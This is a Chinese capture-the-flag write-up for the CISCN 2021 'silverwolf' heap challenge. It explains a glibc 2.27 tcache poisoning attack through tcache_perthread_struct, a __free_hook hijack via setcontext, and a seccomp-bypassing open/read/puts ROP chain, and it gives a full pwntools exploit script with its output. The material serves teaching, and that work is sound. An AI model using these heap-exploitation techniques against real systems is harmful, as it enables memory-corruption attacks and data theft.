沙盒禁用+tcache

题目

2021全国大学生信息安全竞赛-ciscn_2021_silverwolf

保护

$ checksec silverwolf
[*] '/home/hnhuangjingyu/sliverwolf_my/silverwolf'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

保护全开,值得注意的是我们这里查看下ldd信息

$ ldd silverwolf_init
	linux-vdso.so.1 (0x00007ffff7fcd000)
	libseccomp.so.2 => /lib/x86_64-linux-gnu/libseccomp.so.2 (0x00007ffff7d89000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7b97000)
	/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcf000)

可以看到这里使用了libseccomp.so,所以应该是个沙盒禁用题,我用seccomp-tools工具查看如下

$ seccomp-tools dump ./silverwolf
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x07 0xc000003e  if (A != ARCH_X86_64) goto 0009
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x04 0xffffffff  if (A != 0xffffffff) goto 0009
 0005: 0x15 0x02 0x00 0x00000000  if (A == read) goto 0008
 0006: 0x15 0x01 0x00 0x00000001  if (A == write) goto 0008
 0007: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0009
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0009: 0x06 0x00 0x00 0x00000000  return KILL

这里可以发现确实开启了沙盒保护,且open不能使用,好像openat也不能使用,之前做过一个类似的题目ciscn_final_4(解题思路差不多,开启了反调试)感兴趣的可以去试试

分析

main

在这里插入图片描述

alloc

在这里插入图片描述

这里知道malloc最大值为0x78,且程序只会存储一个堆块指针

edit
在这里插入图片描述

这里offbynull漏洞,从这里看出来,edit并没见检查堆指针,所以即使进入到了bin中也能直接修改数据,那么就可以很方便的进行修改fd了

show

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-i8E9wRK8-1653415114670)(沙盒禁用+tcache.assets/image-20220525011149124.png)]

dele

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NzZMUkLm-1653415114670)(沙盒禁用+tcache.assets/image-20220525011309613.png)]

有uaf漏洞、doublefree

思路

这里的程序很简单漏洞百出,就是个baby题目,但是因为有了沙盒保护所以有了一丢丢难度(我也是过几天准备国赛这里才来刷往年的题目的>.<)ok话不多说开始!

因为doublefree+uaf所以我们可以很方便的进行泄漏libc

这里给大家说明下tcache的特性,这里的glibc的版本是2.27,那么在tcache初始化的时候会有一个tcache_perthread_struct的堆结构也就是那个位于堆结构第一个的堆块,在glibc2.27中它的大小为0x250,为什么是0x250呢,来看看源码定义:

typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

可以看到它由两部分组成,counts用于记录每个释放tcache堆块的大小,entries用于记录释放堆块的指针也就是链表,而在64bit中TCACHE_MAX_BINS默认大小为64,那么计算得出char counts[64] = 0x40 , tcache_entry *entries[64] = 0x200,从而得出0x10 + 0x40 + 0x200 = 0x250大小,不难发现每个tcache的counts变量它的容量是char那么就是最大值为0xff

有了上面的知识那么我们使用tcache泄漏libc也就不难了

(0x20)   tcache_entry[0](7): 0x555555606610 --> 0x555555606790 --> 0x5555556065f0 --> 0x5555556068a0 --> 0x5555556060b0 --> 0x555555606450 --> 0x555555606020
(0x40)   tcache_entry[2](2): 0x555555606920 --> 0x555555606920 (overlap chunk with 0x555555606910(freed) )
(0x60)   tcache_entry[4](1): 0x5555556068c0
(0x70)   tcache_entry[5](7): 0x555555606360 --> 0x5555556060d0 --> 0x5555556062f0 --> 0x555555606490 --> 0x555555606630 --> 0x5555556067b0 --> 0x555555606040
(0x80)   tcache_entry[6](7): 0x555555605e90 --> 0x5555556061b0 --> 0x555555606250 --> 0x5555556063d0 --> 0x555555606570 --> 0x555555606820 --> 0x555555605fa0
(0xd0)   tcache_entry[11](3): 0x555555605ad0 --> 0x5555556057a0 --> 0x555555605310
(0xf0)   tcache_entry[13](2): 0x5555556066a0 --> 0x555555605cd0


gef➤  addr 0x555555605000  //查看tcache_perthread_struct内存数据
0x555555605000:	0x0000000000000000	0x0000000000000251
0x555555605010:	0x0007070100020007	0x0000020003000000 //可以发现数据都是和上面对应的
0x555555605020:	0x0000000000000000	0x0000000000000000
0x555555605030:	0x0000000000000000	0x0000000000000000  //那么我们将0x555555605030这里改为0xff000000,则表示0x250的tcache已经装满的0xff个,那么再次free则会进入unsortbin中
0x555555605040:	0x0000000000000000	0x0000000000000000
0x555555605050:	0x0000555555606610	0x0000000000000000
0x555555605060:	0x0000555555606920	0x0000000000000000
0x555555605070:	0x00005555556068c0	0x0000555555606360
0x555555605080:	0x0000555555605e90	0x0000000000000000

那么exp为:

alloc(0x30)
dele()  #free
edit('A'*0x8)
dele() #double free
show()
ru('Content: ')
heap = info(rc(6),"heap") - 0x1920  #得到堆地址

alloc(0x30)
edit(p64(heap + 0x10)) #修改fd为tcache的tcache_perthread_struct地址
alloc(0x30)
alloc(0x30)
edit(p64(0)*4 +p64(0xff000000)) #拿到tcache_perthread_struct
dele()
show()
ru('Content: ')
libc.address = info(rc(6),"libc") - (0x7f973c643ca0 - 0x7f973c258000)

泄漏了libc之后那么就是劫持程序流了,因为要在tcache中利用所以先将unsortbin中的堆块拿完,再同样的方法劫持堆块到free_hook


for i in range(11):
    alloc(0x78)
dele()
edit('A'*0x10)
dele()
alloc(0x78)
edit(p64(libc.symbols['__free_hook']))
alloc(0x78)

再向free_hook中写入一个setcontext方法指针,这个方法具体使用看这里->https://blog.csdn.net/A951860555/article/details/118268484,我这里使用它是为了得到一个gadget->mov rsp , [rdi + 0xa0] 下面我会讲到

alloc(0x78)
edit(p64(libc.symbols['setcontext'] + 0x35))

接下来就是部署open->read->puts的rop链条了,首先通过glibc找到gadget(可通过 ropper --file libc-2.27.so --nocolor > rop.txt)得到gadget

alloc(0x20)
edit('/flag\x00')

prdi = libc.address + 0x00000000000215bf
prsi = libc.address + 0x0000000000023eea
prdx = libc.address + 0x0000000000001b96
prax = libc.address + 0x0000000000043ae8
add_rsp_38 = libc.address +0x00000000000e0c4d
flag_addr = heap + 0x210

rop = p64(heap + 0x19e0 - 0x80)
rop += p64(prdi) + p64(flag_addr)
rop += p64(prsi) + p64(0)
rop += p64(prax) + p64(2)
rop += p64(libc.symbols['syscall'] + 0xf)  #这里需要非常注意要加上一个偏移才可以正常syscall
#rop += p64(libc.symbols['read'] + 0xf)  #或者直接采用read@got + 0xf也可以
rop += p64(add_rsp_38)
alloc(0x78)
edit(rop)

alloc(0x78)
rop = p64(prdi) + p64(0x3)
rop += p64(prsi)+ p64(flag_addr)
rop += p64(prdx)+ p64(100)
rop += p64(libc.symbols['read'])

rop += p64(prdi) + p64(flag_addr)
rop += p64(libc.symbols['puts'])
edit(rop)

alloc(0x50)
dele()

上面采用了syscall("flag",0,2) -> read(3,buf,100) -> puts(buf)的方式读取flag,这一块exp需要自己调试才能理解~~~这里我用的glibc是 2.27-3ubuntu1.4 题目给的glibc是2.27-3ubuntu1.3所以会有一点点偏移差距,(因为我没有找到这里glibc,懒得找>.<)

完整exp

#!/usr/bin/python3

from pwn import *

#context.terminal = ['terminator', '-x', 'sh', '-c']
#context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./silverwolf"

#ld_path= "/home/hnhuangjingyu/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-2.27.so"
#libc_path = "/lib/x86_64-linux-gnu/libseccomp.so.2"
one = [0x45216,0x4526a,0xf02a4,0xf1147]

global p
local = 1
if local:
#    p = process([ld_path,binary],env={"LD_PRELOAD":libc_path})
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("111.200.241.244","58782")
    e = ELF(binary)
    libc = e.libc
    #libc = ELF('./libc_32.so.6')

################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()

def z(s='b main'):
    gdb.attach(p,s)
  
def logs(addr,string='logs'):
    if(isinstance(addr,int)):
       print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
    else:
       print('\033[1;31;40m%20s-->%s\033[0m'%(string,addr))

def pa(s='1'):
    log.success('pause : step---> '+str(s))
    pause()

def info(data,key='info',bit=64):
    if(bit == 64):
      leak = u64(data.ljust(8, b'\0'))
    else:
      leak = u32(data.ljust(4, b'\0'))
    logs(leak,key)
    return leak

################################ Function ############################################
def alloc(size):
    sla("Your choice:","1")
    sla("Index:","0")
    sla("Size:",str(size))

def edit(content):
    sla("Your choice:","2")
    sla("Index:","0")
    sla("Content:",content)

def show():
    sla("Your choice:","3")
    sla("Index:","0")

def dele():
    sla("Your choice:","4")
    sla("Index:","0")


################################### End ##############################################
alloc(0x30)
dele()
edit('A'*0x8)
dele()
show()
ru('Content: ')
heap = info(rc(6),"heap") - 0x1920

alloc(0x30)
edit(p64(heap + 0x10))
alloc(0x30)
alloc(0x30)
edit(p64(0)*4 +p64(0xff000000))
dele()
show()
ru('Content: ')
libc.address = info(rc(6),"libc") - (0x7f973c643ca0 - 0x7f973c258000)

for i in range(11):
    alloc(0x78)
dele()
edit('A'*0x10)
dele()
alloc(0x78)
edit(p64(libc.symbols['__free_hook']))
alloc(0x78)

alloc(0x78)
edit(p64(libc.symbols['setcontext'] + 0x35))
#edit(p64(libc.symbols['puts']))

alloc(0x20)
edit('/flag\x00')

prdi = libc.address + 0x00000000000215bf
prsi = libc.address + 0x0000000000023eea
prdx = libc.address + 0x0000000000001b96
prax = libc.address + 0x0000000000043ae8
add_rsp_38 = libc.address +0x00000000000e0c4d
flag_addr = heap + 0x210

rop = p64(heap + 0x19e0 - 0x80)
rop += p64(prdi) + p64(flag_addr)
rop += p64(prsi) + p64(0)
rop += p64(prax) + p64(2)
rop += p64(libc.symbols['syscall'] + 0xf)  #这里需要非常注意要加上一个偏移才可以正常syscall
#rop += p64(libc.symbols['read'] + 0xf)  #或者直接采用read@got + 0xf也可以
rop += p64(add_rsp_38)
alloc(0x78)
edit(rop)

alloc(0x78)
rop = p64(prdi) + p64(0x3)
rop += p64(prsi)+ p64(flag_addr)
rop += p64(prdx)+ p64(100)
rop += p64(libc.symbols['read'])

rop += p64(prdi) + p64(flag_addr)
rop += p64(libc.symbols['puts'])
edit(rop)

alloc(0x50)
dele()
################################### End ##############################################
p.interactive()

结果

$ cat /flag
flag ~~~


$ ./exp.py
[+] Starting local process './silverwolf': pid 11606
[*] '/home/hnhuangjingyu/sliverwolf_my/silverwolf'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
[*] '/home/hnhuangjingyu/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
./exp.py:35: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  sla = lambda a,s:p.sendlineafter(a,s)
/home/hnhuangjingyu/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
./exp.py:33: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  ru = lambda s:p.recvuntil(s)
                heap-->0x555555606920
                libc-->0x7ffff7dcdca0
[*] Switching to interactive mode
 flag ~~~ 
\xdc\xdc\xf7\xff
$ [*] Got EOF while reading in interactive
$
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值